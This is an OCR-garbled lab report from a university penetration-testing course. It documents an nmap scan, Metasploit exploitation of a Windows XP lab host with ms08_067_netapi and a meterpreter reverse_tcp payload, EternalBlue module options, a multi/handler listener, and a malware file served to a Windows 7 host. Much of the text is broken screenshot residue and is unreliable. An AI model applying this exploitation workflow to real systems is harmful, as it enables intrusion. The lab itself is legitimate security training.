CYSE301: Cybersecurity Technique and
Operations

Lab Assignment-4: Penetration Testing for

Windows

By George Trey Smith



Q1. Run a port scan against the Windows XP using the nmap command to identify
open ports and services.

IP address (1 host up)

Kali - Internal Work... 3% Windows XP Profes... 38 Attacker Kali - Bxer...

mmg O

3/30/2025

Starting Mmap 7.945VN { https:, 1
Nmap scan report for 192.168.10.14
Host is wp (@.@19s latency).

PORT STATE SERVICE VERSION
45/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
i Info: 0S: Windows XP; CPE: cpe:/o:microsoft:windows xp

Service detection performed.
map.org/submit/
Nmap done: 1 IP address (1 host up) scanned im 21.5

Q3. Launch Metasploit Framework and search for the exploit module:
ms08 067 _netapi

Q4. Use ms08_067_netapi as the exploit module and set meterpreter
reverse_tcp as the payload

Q5. Use 5525 as the listening port number. Configure the rest of the parameters.
Display your configurations and exploit the target.



msf6 exploit( ) > show options

Module optiens (

ploit.com/docs/using-metasploit/ sing-metasploit.html

EXITFUNC t 3 » process, none)

LHOST
LPORT

Exploit target:

matic Targeting

e full module info with the info, or info -d command.

5 — 192.168.217.2:2206) at 202

45.672 Eastern Standard Time (UTC-500)

Server 5ID:

Q10. [Post-Exploitation] In the meterpreter shell, get System information about
the target.

meterpreter > sysinfo

Computer : ORG-JLFIIOGWXFM

0s : Windows XP (5.1 Build 2608, Service Pack

Architecture

System Language : en_
Domain : WORKGROUP
Logged On Users : 1

erpreter : x86/windows




) » show options
windows/smb/ms17_01@ eternalblu
Description
RHOSTS s ! e hcstl;l t, cs.metasplo using-me L asics/using-metasploit.html

RPORT : e ta (TCP)
SMBDomain (opt L i in to use for authenti ion. L ts Windows Server 2008 R ndows 7, Windows Embedde

true ] o it r es exploit . W er 2008 R2, Windows 7, Windows Embedded St

fects Windows Server 8 ndows 7, dows Embedded Standard 7 t

Description

technig p 3 ess, none)
The listen addr c )
The listen port

the full module info with the ), or ) -d command.
ploit > show options

Module options

asploit/basics/|

Na

EXITFUNC
LHOST

-d command.




/smb/smb_ms17_01@ as check
connecting to the

loit( ) » show options

Module options (exploit/multi/handler

Name C ing Required Descriptio

Name

EXITFUNC
LHOST
LPORT

ead, process, none)

-d command .
set LPORT 5

192.168.

" on 192,168, 21




fvar/ v fhtml

[ » windows/
[-]1 No platform
[-] arch selected, g
; , outputtin

2. /var/ v /html

@-u-v| 4 » Window7 » Downloads hd |4v+| | Search Do... 0 I
Open with
Organize v . s * [0 e
Choose the program you want to use to open this file: S
. Favorites ~ e 3 ze
B Deskto TKE
& Downlol d Default Host Application #0 Internet Explorer 73 KB
Muware Tnr Microsoft Cor
| Recent R - R TKB
7} Motepad . .-;' Paint TKB
Microentt 2o | -
) Libraries wwap Microsott L = 73 KB
3 Docum Windows Media Center %[ Windows Media Pl
Ju Musi L Microsoft Cor WAl Microsoft Cor
@' Muszic
= Picturey | B= windows Phato Vi = wordrad
Microeoft © e Mirroentt ©
H\fideos o Microsoft C = IR
Ha- Homegro
"M Compute
"‘-.E’U Local D
5% vmshar Always use the selected program to open this kind of file Browse...
E@ MNetwork
OK ] [ Cancel J
gsmit0363 Date modified: 3/31/2025 1:01 AM Date created: 3/31/2025 1:01 AM
File Size: 72.0 KB

3.

4. | tried to use these applications and even turned off the firewall, but none of
them would run the malware correctly.



